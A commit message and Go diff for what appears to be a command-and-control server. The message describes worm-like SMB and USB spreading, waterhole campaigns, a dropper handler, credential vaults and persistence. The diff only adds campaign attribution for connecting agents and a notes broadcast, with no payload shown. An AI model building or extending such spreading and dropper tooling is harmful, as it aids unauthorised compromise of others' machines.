feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

server/internal/api/websocket.go

@@ -27,6 +27,15 @@ func secureStringEqual(a, b string) bool {
 	return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
 }
 
+func coalesceStr(vals ...string) string {
+	for _, v := range vals {
+		if strings.TrimSpace(v) != "" {
+			return strings.TrimSpace(v)
+		}
+	}
+	return ""
+}
+
 // checkDashboardWSToken validates dashboard WS upgrade credentials.
 // Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
 // Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
@@ -566,6 +575,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			MacAddress       string `json:"mac_address,omitempty"`
 			BuildID          string `json:"build_id"`
 			USBSpread        bool   `json:"usb_spread"`
+			Campaign         string `json:"campaign"`
+			UTM              string `json:"utm"`
 		}
 			if err := json.Unmarshal(msg.Payload, &auth); err != nil {
 				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -712,6 +723,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				BuildID:      auth.BuildID,
 				WorkerName:   workerName,
 				USBSpread:    auth.USBSpread,
+				Campaign:     coalesceStr(auth.Campaign, auth.UTM),
 				Capabilities: &caps,
 			}
 
@@ -1405,3 +1417,11 @@ func (h *WSHub) BroadcastServerLog(line string) {
 		Payload: mustMarshal(map[string]string{"line": line}),
 	})
 }
+
+// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
+func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
+	h.broadcastDashboard(Message{
+		Type:    "emberwake_notes_updated",
+		Payload: mustMarshal(notes),
+	})
+}